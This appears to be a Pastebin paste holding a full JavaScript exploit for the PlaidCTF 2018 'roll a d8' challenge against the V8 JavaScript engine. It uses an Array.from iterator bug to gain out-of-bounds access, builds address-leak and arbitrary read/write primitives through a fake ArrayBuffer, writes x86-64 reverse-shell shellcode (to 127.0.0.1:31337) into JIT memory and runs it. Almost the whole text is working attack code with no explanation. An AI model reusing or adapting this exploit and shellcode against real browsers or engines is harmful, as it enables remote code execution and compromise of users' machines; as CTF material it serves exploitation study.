Advertisement
Guest User

Untitled

a guest
May 7th, 2018
1,406
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // PlaidCTF 2018 - Pwnable - roll a d8 - 350 pts
  2.  
  3. function Memory() {
  4.  
  5.     let oobArray = [1.1];
  6.     let packed = [0, {}];
  7.     let maxSize = 1028 * 8;
  8.  
  9.     function d2u(v) {
  10.         f64 = new Float64Array(1);
  11.         f64[0] = v;
  12.         d = new Uint32Array(f64.buffer);
  13.         return d;
  14.     }
  15.     function u2d(lo, hi) {
  16.         u32 = new Uint32Array(2);
  17.         u32[0] = lo;
  18.         u32[1] = hi;
  19.         f = new Float64Array(u32.buffer);
  20.         return f[0];
  21.     }
  22.  
  23.     Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
  24.       {
  25.         counter : 0,
  26.         next() {
  27.           let result = this.counter++;
  28.           if (this.counter > maxSize) {
  29.             oobArray.length = 0;
  30.             return {done: true};
  31.           } else {
  32.             return {value: result, done: false};
  33.           }
  34.         }
  35.       }
  36.     ) });
  37.     Array.from.call(function() { return packed }, {[Symbol.iterator] : _ => (
  38.       {
  39.         counter : 0,
  40.         next() {
  41.           let result = this.counter++;
  42.           if (this.counter > maxSize) {
  43.             packed.length = 0;
  44.             return {done: true};
  45.           } else {
  46.             return {value: result, done: false};
  47.           }
  48.         }
  49.       }
  50.     ) });
  51.  
  52.  
  53.     // At this point {oobArray, packed} JS Elements point to the same addr and used while using arrays.
  54.     // From here we can leak obj addr
  55.  
  56.     var ab = new ArrayBuffer(0x100);
  57.  
  58.     function _addrof(obj) {
  59.         packed[1] = obj;
  60.         l = d2u(oobArray[1]);
  61.         l[0] -= 0x1;
  62.         return l;
  63.     }
  64.  
  65.     // leak ArrayBuffer prototype to fake an ArrayBuffer
  66.     ab_p = _addrof(ab.__proto__);
  67.     ab_p_lo = ab_p[0];
  68.     ab_p_hi = ab_p[1];
  69.  
  70.     // faking ArrayBuffer
  71.     var fake_ab = [ 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
  72.  
  73.     fake_ab[0]  =   u2d(0x0, 0x0);
  74.     fake_ab[1]  =   u2d(0x110a0a0a, 0x0d000423);
  75.     fake_ab[2]  =   u2d(0x082003ff, 0x0);
  76.     fake_ab[3]  =       u2d(ab_p_lo, ab_p_hi);
  77.     fake_ab[4]  =   u2d(ab_p_lo - 0x1a0, ab_p_hi);
  78.     fake_ab[5]  =       u2d(0x0, 0x0);
  79.     fake_ab[6]  =       u2d(0x0, 0x0);
  80.     fake_ab[7]  =   u2d(0x0, 0x0);
  81.     fake_ab[8]  =   u2d(0x0, 0x0);
  82.     fake_ab[9]  =   u2d(0x0, 0x1000);
  83.     fake_ab[10] =   u2d(0x12345678, 0x0);
  84.     fake_ab[11] =       u2d(0x12345678, 0x0);
  85.     fake_ab[12] =   u2d(0x100, 0x0);
  86.     fake_ab[13] =       u2d(0x4, 0x0);
  87.     fake_ab[14] =   u2d(0x0, 0x0);
  88.  
  89.     //%DebugPrint(fake_ab);
  90.  
  91.     fabv = _addrof(fake_ab);
  92.     fabv_lo = fabv[0];
  93.     fabv_hi = fabv[1];
  94.  
  95.     fake_ab[6] = u2d(fabv_lo + 0x40 + 0x1, fabv_hi);
  96.     fake_ab[7] = u2d(fabv_lo + 0x40 + 0x1, fabv_hi);
  97.     fake_ab[8] = u2d(fabv_lo + 0x40 + 0x1, fabv_hi);
  98.  
  99.     oobArray[1] = u2d(0x40+6*8+fabv_lo+0x1, fabv_hi);
  100.     fab = packed[1];
  101.     //%DebugPrint(fab);
  102.     var dv = new DataView(fab);
  103.     //%DebugPrint(dv);
  104.  
  105.     function set_addr(addr) {
  106.         fake_ab[10] = u2d(addr[0], addr[1]);
  107.         fake_ab[11] = u2d(addr[0], addr[1]);
  108.     }
  109.  
  110.     return {
  111.         read32(addr) {
  112.             set_addr(addr);
  113.             return dv.getUint32(0, true);
  114.         },
  115.         write32(addr, value) {
  116.             set_addr(addr);
  117.             dv.setUint32(0, value, true);
  118.         },
  119.         write(addr, arr) { // Uint8 arr
  120.             set_addr(addr);
  121.             for (var i=0; i<arr.length; i++)
  122.                 dv.setUint8(i, arr[i]);
  123.         },
  124.         addrof(obj) {
  125.             return _addrof(obj); // returns [low, high]
  126.         }
  127.     }
  128.  
  129.  
  130.  
  131. }
  132. var mem = Memory();
  133.  
  134. var func = Array.prototype.map;
  135. func_addr = mem.addrof(func);
  136.  
  137. func_addr[0] += 6*8;
  138. jit_lo = mem.read32(func_addr) - 0x1 + 0x60;
  139. console.log("jit_lo @ 0x" + jit_lo.toString(16));
  140.  
  141. func_addr[0] += 0x4;
  142. jit_hi = mem.read32(func_addr);
  143. console.log("jit_hi @ 0x" + jit_hi.toString(16));
  144.  
  145. jit_addr = [jit_lo, jit_hi];
  146.  
  147. // TCP REVERSE SHELL -> 127.0.0.1:31337
  148. sh = [0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x6a, 0x06, 0x5a, 0x6a, 0x29, 0x58, 0x0f, 0x05, 0x49, 0x89, 0xc0, 0x48, 0x31, 0xf6, 0x4d, 0x31, 0xd2, 0x41, 0x52, 0xc6, 0x04, 0x24, 0x02, 0x66, 0xc7, 0x44, 0x24, 0x02, 0x7a, 0x69, 0xc7, 0x44, 0x24, 0x04, 0x7f, 0x0, 0x0, 0x01, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x41, 0x50, 0x5f, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x48, 0x31, 0xf6, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 0xf6, 0x48, 0x31, 0xff, 0x57, 0x57, 0x5e, 0x5a, 0x48, 0xbf, 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x08, 0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0x0f, 0x05];
  149.  
  150. mem.write(jit_addr, sh);
  151. console.log("Running shellcode...")
  152.  
  153. func();
  154.  
  155. while(true) {
  156.     ;
  157. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement